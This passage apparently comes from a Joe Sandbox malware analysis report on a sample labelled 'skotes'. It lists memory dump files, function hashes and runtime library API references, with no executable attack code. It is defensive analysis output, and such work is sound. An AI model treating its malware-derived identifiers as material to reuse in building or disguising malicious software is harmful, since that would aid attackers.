Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5654779878c9a0b7175cd00533cefe6eb5821aa2abde6aa5ff243a79abf69aac
Instruction ID: 9fac1e98a3c0f69598e6208ff89dad5a9011cc865060840eff05256580a5e328
Opcode Fuzzy Hash: 5654779878c9a0b7175cd00533cefe6eb5821aa2abde6aa5ff243a79abf69aac
Instruction Fuzzy Hash: 3741D434E00248AFCF10DF69C884A9EBFB5FF49314F148156E81AAB3A2D731DA15CB91

Function 00ACDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00ACDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00ACDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00ACDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00ACDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00ACDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00ACDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00ACDE74

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 61bad235c11931f8f08c5529d3253959c5d7ac9aff401427184e8944272f57a7
Instruction ID: 2586a37acd75f936ddd2d4aacea61c2e04ce68e3f610f05e27cbb45f2201ec06
Opcode Fuzzy Hash: 61bad235c11931f8f08c5529d3253959c5d7ac9aff401427184e8944272f57a7
Instruction Fuzzy Hash: 2841B930A042489ADF15EBB08656FED7BA56F11304F0A44BDE8526F2C3DB348E09CB62

Function 00ACE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00ACE7D7

Part of subcall function 00ACE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00ACE577
Part of subcall function 00ACE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00ACE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ACE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00ACE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00ACE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00ACE879
Concurrency::location::_Assign.LIBCMT ref: 00ACE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00ACE8B5

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: bd37a336fbcc996982f582afbaf77722234fd0d2dc767014261fcd3601676944
Instruction ID: c7d70f516a2c69933273d5a9d7aabef9fa12f86416a775c530955f5d2d7035d4
Opcode Fuzzy Hash: bd37a336fbcc996982f582afbaf77722234fd0d2dc767014261fcd3601676944
Instruction Fuzzy Hash: 3D41F775A00205DFCB05EFA4C495BADBBB5FF48310F1A80A9DD499B382DB34A941CFA1

Function 00AB6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AB6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00AB6F22
std::_Rethrow_future_exception.LIBCPMT ref: 00AB6F32
__Mtx_unlock.LIBCPMT ref: 00AB6FD5
__Mtx_unlock.LIBCPMT ref: 00AB70DB
__Mtx_unlock.LIBCPMT ref: 00AB7116

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 0d90f4fb4f97c01292bb2aec5de985c76e7ccef78af1e3cee137255f31265bd1
Instruction ID: c807ce847fbe79480b7bb5aeab00f084de9fa60a9f896e77225da3ffc40b9d57
Opcode Fuzzy Hash: 0d90f4fb4f97c01292bb2aec5de985c76e7ccef78af1e3cee137255f31265bd1
Instruction Fuzzy Hash: 9AC1DF719043489BDF20DFB4D945BEEBBF8AF45310F00452EE81697693EB75A908CB61

Function 00AC44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AC4538
ListArray.LIBCONCRT ref: 00AC456C
Hash.LIBCMT ref: 00AC45D5
Hash.LIBCMT ref: 00AC45E5

Part of subcall function 00AC9C41: std::bad_exception::bad_exception.LIBCMT ref: 00AC9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00AC474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AC47A4

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: b309182407dc3788ba6bbd3710de5b66b5291c320833f641825e8d3d03df5170
Instruction ID: 45c4aa27ac1efee9118884616f18fe5ab409b9f422531696fef31bec9dbb0336
Opcode Fuzzy Hash: b309182407dc3788ba6bbd3710de5b66b5291c320833f641825e8d3d03df5170
Instruction Fuzzy Hash: D3816EB0A11B52BED708DF74C955BD9FBA8BF09704F11421EF42897281DBB4A620CBD1

Function 00ABEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00ABEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00ABEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ABEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ABEF0F
Concurrency::Context::Block.LIBCONCRT ref: 00ABEF31

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
